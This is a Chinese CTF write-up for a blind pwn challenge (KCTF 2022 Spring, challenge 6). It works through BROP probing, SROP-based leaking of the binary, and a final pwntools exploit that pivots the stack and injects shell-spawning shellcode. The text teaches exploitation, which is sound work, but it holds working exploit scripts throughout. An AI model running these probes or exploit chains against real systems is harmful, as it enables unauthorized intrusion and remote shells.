首页
社区
课程
招聘
[原创]看雪 2022 KCTF 春季赛 第六题 废土末世
2022-5-23 12:09 9360

[原创]看雪 2022 KCTF 春季赛 第六题 废土末世

2022-5-23 12:09
9360

概述

ROP,全称 Return Oriented Programming。在存在栈溢出的情况下,通过在栈上合理布局连接若干个以 ret 结尾的代码片段(gadget)实现特定的功能。

 

BROP,全称 Blind Return Oriented Programming,即在没有源码和二进制的情况下通过完成 ROP 利用。
能够完成 BROP 的前提是程序的内存地址在崩溃重连之后不发生改变,因为需要不断探测不同地址的 gadget 行为,依赖探测结果的稳定性。

 

BROP的一般攻击流程:探测溢出长度 -> 探测特殊gadget -> 泄露程序代码段内存 -> 白盒分析

试探

nc 命令连接服务器,远程输出了 "hacker, TNT!\n",然后等待输入;随便输入几个字符后回车,远程输出 "TNT TNT!",然后连接断开。
如果输入很长,则连接断开,远程无第二句输出。

 

改变输入长度,可以发现输入16个字符时远程能正常输出第二句话,但输入17个字符时远程没有输出,因此断定远程的输入缓冲区长度为16。

 

对于一个开启的连接,本地可以区分出三种不同的状态:

  • 从连接读到一些数据:通常意味着程序正常执行,"normal"
  • 连接断开:本地读取时发生EOF,通常意味着远程程序崩溃退出,"crash"
  • 连接无响应:本地读取时一直处于等待状态,通常意味着远程程序阻塞在某个状态,"stop"

可以用下面的程序区分这三种状态:(需要Linux环境下的Python3,安装 pwntools 包(pip3 install pwntools) )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
context.log_level = "critical"
 
def probe(v, want=b"TNT TNT!"):
    s = None
    try:
        s = remote(ip, port)
        s.recvuntil(b"hacker, TNT!\n")
        s.send(v)
        r = s.recv(timeout=3)
        if (want is not None and want in r) or (want is None and len(r)>0):
            return "normal"
        else:
            return "stop"
    except EOFError:
        return "crash"
    finally:
        if s:
            s.close()
    return None

栈上的原始值

如果溢出覆盖的值与栈上的原始值相同,则程序会正常运行并输出"TNT TNT!",即"normal"状态;而不正确的覆盖原始值则大概率会造成程序crash。

 

发送长17字节的输入,其中前16字节任意,第17字节从0到255依次遍历,然后探测程序的结果:

1
2
3
4
5
6
7
8
def test(prefix):
    for i in range(256):
        t = prefix + bytes([i])
        c = probe(t, None)
        if c != "crash":
            print(hex(i), c)
 
test(b"a"*16)

"crash"的结果不需要关心,重点是"normal"和"stop"。以下是探测的结果(多次运行的结果相同):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xb0 normal
0xb5 stop
0xb6 stop
0xb8 stop
0xc2 stop
0xc7 stop
0xc9 stop
0xce normal
0xec stop
0xed stop
0xee stop
0xef stop
0xf2 stop
0xf3 stop

发现了两个"normal"的结果,如果打印出接收到的字符串,会发现溢出 b"\xb0" 时收到了b"hacker, TNT!\n",而溢出 b"\xce" 时收到了 b"TNT TNT!\n"

 

由此可以得出,栈上被覆盖的第一个字节原始值一定是 b"\xce",因为只有溢出为它时的输出与未溢出时相同。

 

下一步向远程发送长18字节的输入,其中第17个字节固定为 0xce,第18个字节从0到255遍历:

1
test(b"a"*16 + b"\xce")
1
0x0 normal

发现了唯一一个"normal"的状态,继续探测下一个字节:

1
test(b"a"*16 + b"\xce\x00")
1
2
0x40 normal
0x60 normal

连接这三个值,得到两个熟悉的地址:0x4000ce和0x6000ce。
在 Linux x64 上编译出的 非PIE(Position Independent Executables)程序(gcc -no-pie 选项编译,得到的程序的代码段和数据段的内存地址不会随机化。Linux上的PIE等价于Windows上的DYNAMICBASE),其代码段的基地址通常是 0x400000,数据段的基地址通常是 0x600000。因此,凭借这两个使程序正常执行的溢出值,可以猜测远程是64位程序,没有开启PIE。

 

为了进一步确认,这次溢出8个正确的字节,同时作为对照,溢出7个正确的字节+1个错误的字节:

1
2
probe(b"a"*16 + p64(0x4000ce))    # "normal"
probe(b"a"*16 + p64(0x4000ce)[:7]+b"\x01")    # "crash"

发现第一溢出的第8个字节对程序的执行有影响,因此可以断定远程是64位程序。

寻找ret指令

现在已知输入的第16-24个字节会覆盖程序的返回地址。如果把返回地址覆盖为ret指令所在的地址,则这个ret指令会继续取后面的8个字节作为地址然后跳转过去。

 

因此,把输入的第24-32个字节指定为0x4000ce,然后遍历第16-24个字节,检查程序是否输出了b"TNT TNT!\n":

1
2
3
4
5
6
7
8
def findret(prefix):
    for i in range(256*256):
        t = prefix + p64(0x400000 + i) + p64(0x4000ce)
        c = probe(t, b"TNT TNT!\n")
        if c == "normal":
            print(hex(i), c)
 
findret(b"a"*16)

得到以下几个地址:

1
2
3
0xce normal
0x101 normal
0x106 normal

0xce是已知的原始返回地址,忽略之。
现在有两个地址:0x400101 和 0x400106,可以断定的是 0x400106 一定指向 ret 指令,而 0x400101 不确定(因为如果一个地址指向指令序列 xxx ; ret,只要xxx指令不修改栈指针rsp,也会产生同样的效果,但后面一定还会出现另一个更大的地址;这里 0x400106是最大的地址,因此它一定是直接指向 ret 的)。

 

另外,这次遍历的范围扩大到了两个字节,但是输出结果只有3个,表明程序在0x400106之后不再有ret指令,这极大的预示着程序的代码段到此就结束了。

推测程序的结构

到目前为止已经收集到了足够的信息,下面开始推理程序的结构。

 

回顾前面遇到的第一个"normal"溢出(0xb0 normal),即如果跳转到的 0x4000b0 地址,程序就会重新开始执行,输出 "hacker, TNT!\n",并且可以继续进行溢出,因此可以推测 0x4000b0 就是程序的入口点。

 

对于64位的ELF程序,其 ELF Header 大小为 0x40 字节,Program Header 大小为 0x38 字节。
可执行的ELF程序至少要包含一个 ELF Header 和一个 PT_LOAD 类型的 Program Header 才能被内核加载。根据先前的探测,0x600000也是此程序一个合法的段,因此这个程序至少有两个 Program Header,分别对应 0x400000 和 0x600000 的加载地址。

 

不考虑重叠,一个 ELF Header 和两个 Program Header 需要占用 0x40 + 0x38*2 = 0xb0 字节的空间,而 0x4000b0 已经是程序代码了,因此之前的推测进一步得到验证。
最后一个ret指令出现的位置在0x400106,则程序代码段的总大小估计是 0x400106+1-0x4000b0 = 87 字节。能做到如此短小的代码 + 只有两个PT_LOAD的 Program Header,此程序一定不是通常由 gcc 编译出来的高级语言可执行文件,而大概率是由汇编直接编写的。

 

最常用的汇编工具是 nasmnasm工具负责把汇编源码编译为.o文件,然后需要手动调用链接器ld生成最终的可执行文件。已知题目运行在 Ubuntu 系统中(只考虑LTS版本),同时代码段的起始地址紧跟在 Header 后面,这不符合 Ubuntu 20.04 及以上的链接器默认生成的可执行文件的内存布局特征(高版本的ld为了保持文件头部的字节不可执行,会把Header和代码段分开在两个segment中,此时代码段的起始地址是 0x401000(未开启PIE的情况下),可以用 readelf -l 查看 Program Header 进行比较),因此推测程序的编译环境是 Ubuntu 18.04

 

找一个 Ubuntu 18.04 的环境,apt-get 安装 nasm,然后随意编译一个helloworld程序,readelf -l 发现程序的入口点确实是 0x4000b0,存在 0x400000 和 0x600000 两个 segment,且生成的代码段长度相当短。至此,上面的所有猜测全部得到验证。

推测代码段的结构

已知0x4000b0是入口点,0x4000ce是紧跟call指令的返回地址,0x400106是最后一个ret指令,可以初步得出以下的代码段布局:

1
2
3
4
5
6
7
8
9
0x4000b0:
          <do write "hacker, TNT!\n">
          call overflow
0x4000ce:
          <do write "TNT TNT!\n">
overflow:
          <do read>
0x400106:
          ret

因为程序不包含类型为 DYNAMIC 的 Program Header,所以程序没有加载任何动态库,因此对write和read的调用只能是直接设置相关寄存器然后调用syscall指令完成。自己试着按相同的逻辑编写了一下,发现非常紧凑,如果源程序确实只有87个字节,那么几乎没有多余的指令。

寻找syscall指令

回忆下最开始探测出来的stop gadget:[0xb5, 0xb6, 0xb8, 0xc2, 0xc7, 0xc9, 0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3]。本程序的逻辑非常简单,因此产生stop的原因不大可能是因为循环,而更有可能是进入了read等待客户端的输入。

 

已知 x64 的 call 指令一般长 5 个字节,而 call overflow 结束于 0x4000ce,那么它的起始位置应该是 0x4000ce-5 = 0x4000c9。注意到 0xc9 是stop gadget,call overflow 会等待输入,这是完全吻合的。

 

那么从 0x4000b0 到 0x4000c9 应该只包含了 write 的逻辑,大致是先设置 rax(1,SYS_write系统调用号), rdi(1,stdout的文件描述符), rsi(字符串地址), rdx(字符串长度),然后执行 syscall 指令。因此 syscall 指令大概率在最后执行,并随后到达 0x4000c9 call overflow 指令。

 

syscall 指令长 2 个字节,注意到 0xc7 也是一个 stop gadget,因此合理猜测 syscall 指令就位于 0x4000c7,两字节后恰好连到 0x4000c9。

泄露

推测到 syscall 指令的地址后,下一个目标是构造write系统调用输入出程序代码段的内存。

 

根据推测到的代码段的结构,程序里几乎没有多余的指令,大概率也不存在 pop ret ; ret 这样的常规设置寄存器的 rop gadget。

 

针对这种情况(1. 溢出长度很长 2. 有syscall指令的地址 3. 几乎没有其他可用的gadget),可以使用 SROP(Sigreturn Oriented Programming) 一次性设置所有的寄存器同时控制住rip。

 

SROP 的原理是利用 sigreturn 系统调用,只要在 rsp 指向的栈顶内存布置好Signal Frame 即可。

 

Signal Frame 可以直接使用 pwntoolsSigreturnFrame 构造,不过要调用 sigreturn 系统调用需要正确设置 rax 寄存器为它的系统调用号,在 Linux x64 中为 15。
虽然没有 pop rax ; ret 之类的指令,不过注意到 read 的返回值保存在 rax 寄存器中,是输入的长度,这是可控的。

 

栈帧的构造:依次布置 \<do read\>的地址、syscall指令的地址、SigreturnFrame,其中SigreturnFrame的寄存器设置为满足write(1, 0x400000, 0x1000),rip指向syscall指令,则sigreturn系统调用返回后就会跳转到rip的位置执行write系统调用输出程序内存。
关于 \<do read\> 的地址:需要一次调用read的机会,客户端发送恰好15个字符以控制rax的值,同时保证 rop 链可以走向下一步。参照推测出的代码段结构,最好的选择就是跳转到 overflow: 标签的位置(0x4000c9 call overflow的位置不行,因为多了一个call,无法走向 rop 链的下一步)。这个位置可以参照探测出来的stop gadget,从[0xec, 0xed, 0xee, 0xef]中选择,经测试在这里选择0xec、0xee、0xef都能成功。为了防止粘包,在两次输入之间添加了sleep。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
 
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7
 
ip = <>
port = <>
 
s = remote(ip, port)
s.recvuntil(b"hacker, TNT!\n")
s.send(b'a'*16 + p64(0x4000ee) + p64(0x4000c7) + bytes(sigframe))
sleep(1)
 
s.send(b'a'*15)
 
r = s.recv()
assert r.startswith(b"\x7fELF")
with open("tnt", "wb") as f:
    f.write(r)
 
s.close()

(如果暴力做题的话,前面的分析完全不用做,直接构造 SROP,syscall指令的地址从 0x400000开始遍历,这样很快就能找到结果。(风险在于,如果程序是C语言编译的动态链接ELF,通常代码段是不会出现syscall指令的,那么这样暴力不会产生结果) )
(真相是做到这一步卡了一段时间才突然想起来 SROP 这种很少使用的利用方式……前面的分析过程规避了风险,但也消耗了时间)

利用

现在获取到了源文件,可以本地反汇编以及动态调试了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
tnt:     file format elf64-x86-64
 
 
Disassembly of section .text:
 
00000000004000b0 <_start>:
  4000b0:       b8 01 00 00 00          mov    eax,0x1
  4000b5:       48 89 c7                mov    rdi,rax
  4000b8:       48 be 08 01 60 00 00    movabs rsi,0x600108
  4000bf:       00 00 00
  4000c2:       ba 0d 00 00 00          mov    edx,0xd
  4000c7:       0f 05                   syscall
  4000c9:       e8 20 00 00 00          call   4000ee <TNT66666>
  4000ce:       b8 01 00 00 00          mov    eax,0x1
  4000d3:       48 89 c7                mov    rdi,rax
  4000d6:       48 be 15 01 60 00 00    movabs rsi,0x600115
  4000dd:       00 00 00
  4000e0:       ba 09 00 00 00          mov    edx,0x9
  4000e5:       0f 05                   syscall
  4000e7:       b8 3c 00 00 00          mov    eax,0x3c
  4000ec:       0f 05                   syscall
 
00000000004000ee <TNT66666>:
  4000ee:       48 83 ec 10             sub    rsp,0x10
  4000f2:       48 31 c0                xor    rax,rax
  4000f5:       ba 00 04 00 00          mov    edx,0x400
  4000fa:       48 89 e6                mov    rsi,rsp
  4000fd:       48 89 c7                mov    rdi,rax
  400100:       0f 05                   syscall
  400102:       48 83 c4 10             add    rsp,0x10
  400106:       c3                      ret

反汇编得到的指令与先前推测的代码段结构基本一致。

 

动态调试容易发现 0x600000 的segment是 RWX 权限,因此可以设法把shellcode写入其中然后直接跳转执行。
具体步骤如下:

  1. 第一次溢出时布置一次 SROP,其中SigreturnFrame里只需要把 rsp 设置为这个segment里的地址(如0x600800),同时把 rip 设置为 \<do read\> 的地址(即0x4000ee)。把这一次的返回地址也覆盖为 \<do read\> 的地址0x4000ee,然后栈上的下一个位置覆盖为syscall指令的地址(如0x400100)。
  2. 第一次ret之后会重新执行read,输入15个字符凑出sigreturn的系统调用号,则这次ret后会用构造的SigreturnFrame执行syscall sigreturn。执行之后,rsp变为了 0x600800,然后控制流再一次转到了 0x4000ee 并等待第三次输入。
  3. 溢出,输入shellcode并覆盖返回地址为对应的位置,成功getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
 
context.arch = "amd64"
context.terminal = ["tmux", "split", "-h"]
 
ip = <>
port = <>
 
#s = process("./tnt")
s = remote(ip, port)
#attach(s)
 
s.recvuntil(b"hacker, TNT!\n")
 
sigframe = SigreturnFrame()
sigframe.rip = 0x4000ee
sigframe.rsp = 0x600800
 
s.send(b'a'*16 + p64(0x4000ee) + p64(0x400100) + bytes(sigframe))
sleep(1)
 
s.send(b'a'*15)
sleep(1)
 
s.send(b'a'*16 + p64(0x600808) + asm(shellcraft.sh()))
 
s.interactive()

其他

注意到0x600000的segment是程序的数据段,在本程序中却有了可执行权限。
原因是程序的 Program Header 缺少一个类型为 GNU_STACK 的段。Linux内核会根据这个段决定程序的数据段是否可执行(即NX保护是否开启。在Windows上相应的保护机制称为DEP)。如果这个段指定了可执行权限或者缺少此段,则内核会添加 READ_IMPLIES_EXEC 的 personality,这会让所有带有 PROT_READ 选项的 mmap 系统调用建立的内存映射自动带有可执行权限。(参考:https://stackoverflow.com/questions/61909762/when-setting-execution-bit-on-pt-gnu-stack-program-header-why-do-all-segments-o

 

即使不存在这个RWX段,本题仍然可以利用。由于程序中存在 syscall ; ... ; ret 序列(0x400100-0x400107),只要能找到一块已知地址的可写内存布置连续的SigreturnFrame帧即可。例如,在第一次溢出时布置SigreturnFrame帧,其参数为mprotect(0x400000, 0x1000, 7),rsp为0x400000-0x401000中的一个地址,同时把返回地址覆盖为0x4000ec,这样第一次sigreturn之后栈已经迁移到了0x400000段上,同时先执行0x4000ec处syscall调用mprotect把0x400000段改为可写可执行,然后控制流顺次到达0x4000ee开启下一次read,之后就是常规构造(可参考文末链接的参考教程);或者通过控制read的字符数量为1(SYS_write),然后跳转到0x4000f5,write出栈的内容,输出内容大概率会有栈地址,此时得到了已知地址的可写内存段,再通过一次SROP把栈迁移过去,之后是常规构造。

 

另外,从vsyscall里找gadget是不能成功的,因为高版本内核基本都开启了 vsyscall emulate,vsyscall段的内存实际上仅仅是模拟以向下兼容,内核会对入口做严格的检查,直接跳到中间的syscall指令是无法执行的。

总结

本题是一道很好的BROP+SROP教学题,涉及的知识点很基础,大部分PWN的入门教程都有介绍;同时程序完全用汇编编写,避开了常规BROP的 __libc_csu_init 特征gadget,从而大部分现有exp不能直接照抄。

 

关于BROP和SROP的两篇基本教程:

 

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#brop
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2022-5-23 12:27 被mb_mgodlfyn编辑 ,原因:
收藏
点赞11
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回